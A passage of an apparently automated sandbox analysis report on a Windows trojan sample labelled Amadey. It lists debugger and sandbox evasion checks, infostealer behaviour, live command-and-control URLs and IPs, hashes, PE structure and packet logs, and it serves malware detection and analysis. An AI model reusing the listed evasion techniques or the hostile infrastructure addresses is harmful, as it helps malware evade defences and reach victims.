Source: C:\Users\user\Desktop\4o4t8dO4r1.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile opened: NTICE
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile opened: SICE
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeCode function: 0_2_00AB9980 rdtsc 0_2_00AB9980
Source: 4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Program Manager
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: procmon.exe
Source: 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.5:49705 -> 5.101.3.217:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		23
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory23
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		4
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive4
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture5
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
4o4t8dO4r1.exe61%ReversingLabsWin32.Trojan.Amadey
4o4t8dO4r1.exe41%VirustotalBrowse
4o4t8dO4r1.exe100%AviraTR/Crypt.TPM.Gen
4o4t8dO4r1.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF170%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862.fivet30%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQ0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQo0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17351868620%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF173518686269630%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=00%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.fiveth5ht.top
5.101.3.217
truefalse
    		high
    httpbin.org
    		34.226.108.155
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0true
      • Avira URL Cloud: safe
      		unknown
      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862true
      • Avira URL Cloud: safe
      		unknown
      https://httpbin.org/ipfalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://curl.se/docs/hsts.html4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
          		high
          http://home.fiveth5ht.top/OyKvQ4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000003.2199036976.0000000001B17000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198890830.0000000001B0C000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198975736.0000000001B12000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198382746.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214504293.0000000001B18000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF174o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://html4/loose.dtd4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
            		high
            https://httpbin.org/ipbefore4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
              		high
              https://curl.se/docs/http-cookies.html4o4t8dO4r1.exe, 4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
                		high
                https://curl.se/docs/hsts.html#4o4t8dO4r1.exefalse
                  		high
                  http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF173518686269634o4t8dO4r1.exe, 00000000.00000003.2199268577.0000000001AA2000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199335399.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214275058.0000000001AA9000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862.fivet34o4t8dO4r1.exe, 00000000.00000003.2199268577.0000000001AA2000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2199335399.0000000001AA7000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://curl.se/docs/alt-svc.html4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
                    		high
                    http://.css4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
                      		high
                      http://.jpg4o4t8dO4r1.exe, 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2070619864.0000000007880000.00000004.00001000.00020000.00000000.sdmpfalse
                        		high
                        http://home.fiveth5ht.top/OyKvQo4o4t8dO4r1.exe, 00000000.00000003.2199036976.0000000001B17000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198890830.0000000001B0C000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198975736.0000000001B12000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000003.2198382746.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, 4o4t8dO4r1.exe, 00000000.00000002.2214504293.0000000001B18000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown

                        World Map of Contacted IPs

                        • No. of IPs < 25%
                        • 25% < No. of IPs < 50%
                        • 50% < No. of IPs < 75%
                        • 75% < No. of IPs

                        Public IPs

                        IPDomainCountryFlagASNASN NameMalicious
                        34.226.108.155
                        		httpbin.orgUnited States
                        		14618AMAZON-AESUSfalse
                        5.101.3.217
                        		home.fiveth5ht.topRussian Federation
                        		34665PINDC-ASRUfalse

                        General Information

                        Joe Sandbox version:41.0.0 Charoite
                        Analysis ID:1581226
                        Start date and time:2024-12-27 08:49:02 +01:00
                        Joe Sandbox product:CloudBasic
                        Overall analysis duration:0h 6m 7s
                        Hypervisor based Inspection enabled:false
                        Report type:full
                        Cookbook file name:default.jbs
                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                        Number of analysed new started processes analysed:4
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • HCA enabled
                        • EGA enabled
                        • AMSI enabled
                        Analysis Mode:default
                        Analysis stop reason:Timeout
                        Sample name:4o4t8dO4r1.exe
                        renamed because original name is a hash value
                        Original Sample Name:981a4c97340fa796c8a968d31fc620c0.exe
                        Detection:MAL
                        Classification:mal100.troj.spyw.evad.winEXE@1/0@8/2
                        EGA Information:
                        • Successful, ratio: 100%
                        HCA Information:Failed
                        Cookbook Comments:
                        • Found application associated with file extension: .exe

                        Warnings

                        • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                        • Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
                        • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                        • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                        Simulations

                        Behavior and APIs

                        ⊘No simulations

                        Joe Sandbox View / Context

                        IPs

                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        34.226.108.1558wiUGtm9UM.exeGet hashmaliciousLummaCBrowse
                          mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                              vJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                                jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                                  qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                    gDPzgKHFws.exeGet hashmaliciousCryptbotBrowse
                                      x6Rd1DzUJA.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                        SzXZZDlkVE.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                          ijn8pyFXSP.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                            5.101.3.217xXe4fTmV2h.exeGet hashmaliciousUnknownBrowse
                                            • home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
                                            lolvgcpX19.exeGet hashmaliciousUnknownBrowse
                                            • home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
                                            w6cYYyWXqJ.exeGet hashmaliciousUnknownBrowse
                                            • home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
                                            mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                                            • home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
                                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                                            • home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862

                                            Domains

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            home.fiveth5ht.topxXe4fTmV2h.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            lolvgcpX19.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            w6cYYyWXqJ.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            httpbin.orgxXe4fTmV2h.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            lolvgcpX19.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            8wiUGtm9UM.exeGet hashmaliciousLummaCBrowse
                                            • 34.226.108.155
                                            w6cYYyWXqJ.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            vJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            E6rBvcWFWu.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103

                                            ASNs

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            PINDC-ASRUxXe4fTmV2h.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            lolvgcpX19.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            w6cYYyWXqJ.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                                            • 5.101.3.217
                                            6ufJvua5w2.exeGet hashmaliciousCryptOne, Stealc, VidarBrowse
                                            • 91.215.85.11
                                            Ransomware Mallox.exeGet hashmaliciousTargeted RansomwareBrowse
                                            • 91.215.85.142
                                            3cb770h94r.elfGet hashmaliciousOkiruBrowse
                                            • 45.145.172.130
                                            na.elfGet hashmaliciousMiraiBrowse
                                            • 5.188.210.194
                                            na.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 5.8.21.138
                                            AMAZON-AESUSxXe4fTmV2h.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            lolvgcpX19.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            8wiUGtm9UM.exeGet hashmaliciousLummaCBrowse
                                            • 34.226.108.155
                                            w6cYYyWXqJ.exeGet hashmaliciousUnknownBrowse
                                            • 3.218.7.103
                                            db0fa4b8db0333367e9bda3ab68b8042.x86.elfGet hashmaliciousGafgyt, MiraiBrowse
                                            • 50.17.226.153
                                            mBr65h6L4w.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            HrIrtCXI3s.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            vJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155
                                            qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                            • 34.226.108.155

                                            JA3 Fingerprints

                                            ⊘No context

                                            Dropped Files

                                            ⊘No context

                                            Created / dropped Files

                                            ⊘No created / dropped files found

                                            Static File Info

                                            General

                                            File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                            Entropy (8bit):7.987461080906563
                                            TrID:
                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                            • DOS Executable Generic (2002/1) 0.02%
                                            • VXD Driver (31/22) 0.00%
                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                            File name:4o4t8dO4r1.exe
                                            File size:4'432'384 bytes
                                            MD5:981a4c97340fa796c8a968d31fc620c0
                                            SHA1:634cb9ffb2bd6503c8a3f7b6c6a0eaa25a1c27d4
                                            SHA256:7f1b2b20696065cf69d8e02c68afe93dde97a1f24a7269c856ea09cee92d921a
                                            SHA512:5a0c6026723cafb3944362edbc7287971ebd4911622425833f4a2ade3313cdd4d3ce1095cb96aeb9ec86435c4c93da959b566e8357f7ee6a294fad60d3ecd45c
                                            SSDEEP:98304:Voi/G6I6N32CRaVFInRKJGhSdXpKSli9jawgZB9D:Voiu6I6HRw00JGU/TiI/t
                                            TLSH:312633D044CA9557E86691B30DCA1B3A7187DBC6CC67A71EB5036B6C30136A4FC3AA36
                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._.lg...............(..I...p..2........... I...@.................................M$D...@... ............................

                                            File Icon

                                            Icon Hash:00928e8e8686b000

                                            Static PE Info

                                            General

                                            Entrypoint:0x100e000
                                            Entrypoint Section:.taggant
                                            Digitally signed:true
                                            Imagebase:0x400000
                                            Subsystem:windows gui
                                            Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                            DLL Characteristics:DYNAMIC_BASE
                                            Time Stamp:0x676CDB5F [Thu Dec 26 04:28:15 2024 UTC]
                                            TLS Callbacks:
                                            CLR (.Net) Version:
                                            OS Version Major:4
                                            OS Version Minor:0
                                            File Version Major:4
                                            File Version Minor:0
                                            Subsystem Version Major:4
                                            Subsystem Version Minor:0
                                            Import Hash:2eabe9054cad5152567f0699947a2c5b

                                            Authenticode Signature

                                            Signature Valid:
                                            Signature Issuer:
                                            Signature Validation Error:
                                            Error Number:
                                            Not Before, Not After
                                              Subject Chain
                                                Version:
                                                Thumbprint MD5:
                                                Thumbprint SHA-1:
                                                Thumbprint SHA-256:
                                                Serial:

                                                Entrypoint Preview

                                                Instruction
                                                jmp 00007FA378C0B3FAh
                                                jo 00007FA378C0B439h
                                                add byte ptr [eax], al
                                                jmp 00007FA378C0D3F5h
                                                add byte ptr [0000000Ah], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], dl
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [ecx], al
                                                or al, byte ptr [eax]
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [ecx], al
                                                add byte ptr [eax], 00000000h
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                adc byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add dword ptr [edx], ecx
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                xor byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                pop es
                                                add byte ptr [eax], 00000000h
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                adc byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add eax, 0000000Ah
                                                add byte ptr [eax], al
                                                add byte ptr [eax], dh
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [ecx], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [ecx], al
                                                add byte ptr [eax], 00000000h
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                adc byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add eax, 0000000Ah
                                                add byte ptr [eax], al
                                                add byte ptr [eax], dh
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al
                                                add byte ptr [ecx], al
                                                add byte ptr [eax], 00000000h
                                                add byte ptr [eax], al
                                                add byte ptr [eax], al

                                                Data Directories

                                                NameVirtual AddressVirtual Size Is in Section
                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x6dd05f0x73.idata
                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x6dc0000x1ac.rsrc
                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x708a000x688
                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0xc0c8ac0x10rskkrnmo
                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                IMAGE_DIRECTORY_ENTRY_TLS0xc0c85c0x18rskkrnmo
                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                Sections

                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                0x10000x6db0000x288a000c3fa821953605a1bfd4626834fa53adunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                .rsrc0x6dc0000x1ac0x2002dad4b46b1af5f4f1306013382867b64False0.583984375data4.593774537266833IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                .idata 0x6dd0000x10000x2006363462e4ea156e03144265f6be7871eFalse0.166015625data1.1763897754724144IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                0x6de0000x3810000x2004e745182e573f4dc150195a343c1d143unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                rskkrnmo0xa5f0000x1ae0000x1adc00ae3a69292cdeed16653c590f4cea0034False0.9942508362420012data7.954910514470701IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                bspbawlj0xc0d0000x10000x4009899f34eb9f400e9e390a7f44fdf802eFalse0.822265625data6.2888090976257836IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                .taggant0xc0e0000x30000x2200d56788f80b68076c069bc15b083acbcfFalse0.06284466911764706DOS executable (COM)0.8021555895098765IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                Resources

                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                RT_MANIFEST0xc0c8bc0x152ASCII text, with CRLF line terminators0.6479289940828402

                                                Imports

                                                DLLImport
                                                kernel32.dlllstrcpy

                                                Network Behavior

                                                Network Port Distribution

                                                TCP Packets

                                                TimestampSource PortDest PortSource IPDest IP
                                                Dec 27, 2024 08:49:57.513999939 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:57.514058113 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:57.514144897 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:57.534909964 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:57.534949064 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.450736046 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.451308012 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.451348066 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.452694893 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.452755928 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.454282045 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.454355955 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.459358931 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.459368944 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.514014959 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.798111916 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.798217058 CET4434970434.226.108.155192.168.2.5
                                                Dec 27, 2024 08:49:59.798276901 CET49704443192.168.2.534.226.108.155
                                                Dec 27, 2024 08:49:59.807136059 CET49704443192.168.2.534.226.108.155
